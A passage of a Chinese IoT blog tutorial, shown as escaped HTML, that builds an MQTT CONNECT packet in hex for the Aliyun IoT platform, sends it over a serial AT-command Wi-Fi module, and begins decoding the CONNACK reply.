number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch5 id=\"合并,得到最终有效载荷\"\u003e\u003ca href=\"#合并,得到最终有效载荷\" class=\"headerlink\" title=\"合并,得到最终有效载荷\"\u003e\u003c/a\u003e合并,得到最终有效载荷\u003c/h5\u003e\u003cp\u003e根据我们在可变报头中的选择:\u003cstrong\u003e最终有效载荷\u0026#x3D;客户端标识符+用户名+密码\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e28\u003c/span\u003e \u003cspan class=\"token number\"\u003e41\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e75\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 6D 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e33\u003c/span\u003e 2C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e67\u003c/span\u003e 6E 6D \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e74\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6D \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e10\u003c/span\u003e \u003cspan class=\"token number\"\u003e41\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e26\u003c/span\u003e 6B \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e28\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"得到最终报文\"\u003e\u003ca href=\"#得到最终报文\" class=\"headerlink\" title=\"得到最终报文\"\u003e\u003c/a\u003e得到最终报文\u003c/h4\u003e\u003cp\u003e首先计算固定报头中的剩余长度:\u003cstrong\u003e剩余长度\u0026#x3D;可变报头长度+有效载荷长度\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e可得剩余长度为:10+102\u0026#x3D;112 -\u0026gt; 70。(小于128,所以正常编码)\u003c/p\u003e\u003cp\u003e最终报文:\u003cstrong\u003e固定报头+可变报头+有效载荷\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e \u003cspan class=\"token number\"\u003e70\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e04\u003c/span\u003e 4D \u003cspan class=\"token number\"\u003e51\u003c/span\u003e \u003cspan class=\"token number\"\u003e54\u003c/span\u003e \u003cspan class=\"token number\"\u003e54\u003c/span\u003e \u003cspan class=\"token number\"\u003e04\u003c/span\u003e C2 \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e64\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e28\u003c/span\u003e \u003cspan class=\"token number\"\u003e41\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e75\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 6D 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e33\u003c/span\u003e 2C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e67\u003c/span\u003e 6E 6D \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e74\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6D \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e10\u003c/span\u003e \u003cspan class=\"token number\"\u003e41\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e26\u003c/span\u003e 6B \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e28\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e现在可以愉快的与阿里云物联网平台建立连接了~\u003c/p\u003e\u003ch2 id=\"与阿里云物联网平台建立连接\"\u003e\u003ca href=\"#与阿里云物联网平台建立连接\" class=\"headerlink\" title=\"与阿里云物联网平台建立连接\"\u003e\u003c/a\u003e与阿里云物联网平台建立连接\u003c/h2\u003e\u003ch3 id=\"获取连接地址\"\u003e\u003ca href=\"#获取连接地址\" class=\"headerlink\" title=\"获取连接地址\"\u003e\u003c/a\u003e获取连接地址\u003c/h3\u003e\u003cp\u003e直接在阿里云物联网平台的控制台就可以看见,比如我的(瞎编的):\u003ccode\u003eiot-ksf114514.mqtt.iothub.aliyuncs.com\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"建立TCP连接\"\u003e\u003ca href=\"#建立TCP连接\" class=\"headerlink\" title=\"建立TCP连接\"\u003e\u003c/a\u003e建立TCP连接\u003c/h3\u003e\u003cp\u003e使用串口助手发送:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003eAT+CIPSTART=\u003cspan class=\"token string\"\u003e\"TCP\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"iot-ksf114514.mqtt.iothub.aliyuncs.com\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e1883\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e如果建立连接10s不上报消息,阿里云物联网平台会发送\u003ccode\u003eCLOSED\u003c/code\u003e,并断开连接,这时候需要我们关闭TCP连接然后重新建立连接。\u003c/p\u003e\u003cp\u003e关闭连接:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003eAT+CIPCLOSE\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"发送报文\"\u003e\u003ca href=\"#发送报文\" class=\"headerlink\" title=\"发送报文\"\u003e\u003c/a\u003e发送报文\u003c/h3\u003e\u003cp\u003e这里都是在单连接的情况(\u003ccode\u003eAT+CIPMUX=0\u003c/code\u003e)。\u003c/p\u003e\u003cp\u003e根据文档,有两种发送方式:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eAT+CIPSEND=\u0026lt;length\u0026gt;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e需要指定发送长度,达到指定长度后自动发送。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eAT+CIPSENDEX=\u0026lt;length\u0026gt;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e指定发送长度,但可以使用字符串 \u003ccode\u003e \\0 (0x5c, 0x30 ASCII)\u003c/code\u003e 触发数据发送。\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e选择哪种?从实践来看,因为使用16进制发送CONNECT报文,报文中出现00同样会触发数据发送(emmmm),所以使用第一种指定长度的发送方式,毕竟报文已经提前算好了。\u003c/p\u003e\u003ch4 id=\"设置发送\"\u003e\u003ca href=\"#设置发送\" class=\"headerlink\" title=\"设置发送\"\u003e\u003c/a\u003e设置发送\u003c/h4\u003e\u003cp\u003e最终报文长度:114\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003eAT+CIPSEND=\u003cspan class=\"token number\"\u003e114\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"发送报文-1\"\u003e\u003ca href=\"#发送报文-1\" class=\"headerlink\" title=\"发送报文\"\u003e\u003c/a\u003e发送报文\u003c/h4\u003e\u003cp\u003e注意,这里要使用16进制(就是切换成HEX)进行发送:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e \u003cspan class=\"token number\"\u003e70\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e04\u003c/span\u003e 4D \u003cspan class=\"token number\"\u003e51\u003c/span\u003e \u003cspan class=\"token number\"\u003e54\u003c/span\u003e \u003cspan class=\"token number\"\u003e54\u003c/span\u003e \u003cspan class=\"token number\"\u003e04\u003c/span\u003e C2 \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e64\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e28\u003c/span\u003e \u003cspan class=\"token number\"\u003e41\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e75\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 6D 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e33\u003c/span\u003e 2C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e67\u003c/span\u003e 6E 6D \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e74\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6D \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e10\u003c/span\u003e \u003cspan class=\"token number\"\u003e41\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e26\u003c/span\u003e 6B \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e28\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e37\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e35\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e32\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"返回参数\"\u003e\u003ca href=\"#返回参数\" class=\"headerlink\" title=\"返回参数\"\u003e\u003c/a\u003e返回参数\u003c/h3\u003e\u003cp\u003e串口返回数据:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eRx\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e02\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e09.437\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e 0D 0A 2B \u003cspan class=\"token number\"\u003e49\u003c/span\u003e \u003cspan class=\"token number\"\u003e50\u003c/span\u003e \u003cspan class=\"token number\"\u003e44\u003c/span\u003e 2C \u003cspan class=\"token number\"\u003e34\u003c/span\u003e 3A \u003cspan class=\"token number\"\u003e20\u003c/span\u003e \u003cspan class=\"token number\"\u003e02\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e00\u003c/span\u003e 0D 0A\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e 末尾的\u003ccode\u003e0D\u003c/code\u003e 是回车符,\u003ccode\u003e0A\u003c/code\u003e是换行符,因为使用串口助手,这俩不可避免。\u003c/p\u003e\u003cp\u003e其中前面的 \u003ccode\u003e0D 0A 2B 49 50 44 2C 34 3A\u003c/code\u003e,是\u003ccode\u003e+IPD,4\u003c/code\u003e,我们只需要关注后面的字节:**\u003ccode\u003e20 02 00 00\u003c/code\u003e** 。\u003c/p\u003e\u003cp\u003e要知道这玩意的意思,首先要了解CONNACK – 确认连接请求。\u003c/p\u003e\u003ch2 id=\"CONNACK-–-确认连接请求\"\u003e\u003ca href=\"#CONNACK-–-确认连接请求\" class=\"headerlink\" title=\"CONNACK – 确认连接请求\"\u003e\u003c/a\u003eCONNACK – 确认连接请求\u003c/h2\u003e\u003cp\u003e服务端发送CONNACK报文响应从客户端收到的CONNECT报文。服务端发送给客户端的第一个报文\u003cstrong\u003e必须\u003c/strong\u003e是CONNACK。\u003c/p\u003e\u003ch3 id=\"固定报头-1\"\u003e\u003ca href=\"#固定报头-1\" class=\"headerlink\" title=\"固定报头\"\u003e\u003c/a\u003e固定报头\u003c/h3\u003e\u003ctable\u003e \u003ctr\u003e \u003cth colspan=\"9\"\u003e\u003ccenter\u003eCONNACK报文固定报头\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr\u003e \u003cth \u003e\u003ccenter\u003eBit\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e7\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e6\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e5\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e4\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e3\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e2\u003c/center\u003e\u003c/th\u003e \u003cth 